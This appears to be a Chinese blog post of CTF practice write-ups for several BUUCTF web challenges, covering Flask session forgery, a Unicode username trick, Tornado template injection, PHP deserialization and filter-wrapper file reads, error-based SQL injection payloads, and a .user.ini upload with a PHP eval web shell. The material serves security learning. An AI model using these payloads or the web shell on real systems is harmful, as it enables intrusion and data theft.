training-8
BUUCTF
[HCTF 2018]admin 1
很巧刚搭完flask框架的小demo就碰上这道题
可惜源码已经木有了
用的暴力破解(密码很简单 猜了一次就中了)
搜了一下其他解法
flask session 伪造
输出flag条件是 用户登录+session的name是admin
构造符合条件的session即可
自己先随便注册一个账户,登录获取session
解码session看它的构成(base64)
改name为admin,编码session
编码需要SECRET_KEY,眼熟,能找到
即可得到符合条件的session
抓包改session就能成功登录管理员账户
unicode 欺骗
因为只要用户名是admin就可以嘛
除了爆破密码还可以再注册一个admin账户
在 注册、登录、更改密码 过程中都有strlower操作,单纯改成大写并不能绕过,这里是利用了nodeprep.prepare()
可将unicode字符ᴬ
转换成A
,而A
再调用一次函数会把A
转换成a
那就可以用ᴬdmin
注册(调用一次转换为Admin)之后更改密码(再次调用转换为admin,此时相当于在改管理员账户admin的密码),admin账户密码成功被更改,正常登录即可
[MRCTF2020]你传你🐎呢
1 | hacker.png : 平平无奇的一句话木马 |
上传.htaccess
时抓包改Content-Type为image/png即可上传成功
[护网杯 2018]easy_tornado1
已知:
1 | flag在/fllllllllllllag里 |
求:
1 | 如何打开文件/fllllllllllllag |
观察可得:当打开/flag.txt时,payload构成为“目录+filehash”
关键:filehash里的cookie_secret怎么得到
先随便试试打开/fllllllllllllag
进入错误页面,出现一个参数msg,它可以控制页面返回
结合第二条提示render,到这里应该是要利用tornado的模板注入了
cookie_secret在Application对象settings的属性中 ,访问它需要知道它的属性名字
self.application.settings的别名是RequestHandler.settings,而handler又是指向处理当前这个页面的RequestHandler对象,因此handler.settings指向RequestHandler.application.settings
得到cookie_secret
[ZJCTF 2019]NiZhuanSiWei
文件包含
data伪协议写入$text
1
/?text=data://text/plain,welcome to the zjctf
file文件自然得是useless.php
明显需要读useless.php
1
/?text=...&file=php://filter/read=convert.base64-encode/resource=useless.php
解码后得
1
2
3
4
5
6
7
8
9
10
11
12
13
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
构造password
1
2
3
4
5
6
7
8
9
10
11
12
13
class Flag{
...
}
$password = new Flag();
$password->file = "flag.php";
echo $password; //触发__toString()
$a = serialize($password);
print_r($a);
// O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}构造payload
1 | /?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
flag在源码中
[极客大挑战 2019]HardSQL
黑名单过滤:空格(圆括号)、等号(like)、*、and、substr、mid、
黑名单过滤空格→报错注入
判断报错注入是否存在
1 | 'or(extractvalue(1,0x7e))# |
1 | 1'or(extractvalue(1,concat(0x7e,database(),0x7e)))# |
注意:
- concat中的命令语句要加上括号
- right()的正确使用
[MRCTF2020]Ez_bypass1
MD5强类型绕过:数组绕过
[网鼎杯 2020 青龙组]AreUSerialz
关键点在几个绕过:
is_valid($s)
FileHandler类中的成员变量属性都是protected,经过序列化操作后变量名前面有
%00*%00
,即NULL*NULL,不在32-125范围内,故构造序列化字符串时需要把属性改成public,即可绕过$this->op === "2"
通过
include("flag.php");
可知我们的目的是在read()里读取flag.php文件,需要绕过此处令op为2。一开始构造序列化的时候就奇怪给$op赋值个字符串“1”,原来用处在这。
此处判断是强类型,process()里分流的时候是弱类型,可以通过赋值2绕过
1 |
|
赋值str后打开源码得到flag
也可以用php伪协议读flag.php
因为content会被变成””,所以让filename=php://filter/read=convert.base64-encode/resource=flag.php
[SUCTF 2019]CheckIn
.user.ini目录配置文件,使用条件需要在同目录下有php文件,所以应用机会较少
题目很贴心给了源码,分析可得普通的文件上传路都被堵死了,文件后缀绕不了,00截断做不了,.htaccess
文件传不进去。。
上传.user.ini文件
1
2GIF89a
auto_prepend_file = hacker.gif上传hacker.gif文件
1
2GIF89a
<script language="php">eval($_REQUEST['a'])</script>蚁剑连接
- Title: training-8
- Author: dawn_r1sing
- Created at : 2024-04-07 10:56:44
- Updated at : 2024-04-07 10:56:33
- Link: https://dawnrisingdong.github.io/2024/04/07/training-8/
- License: This work is licensed under CC BY-NC-SA 4.0.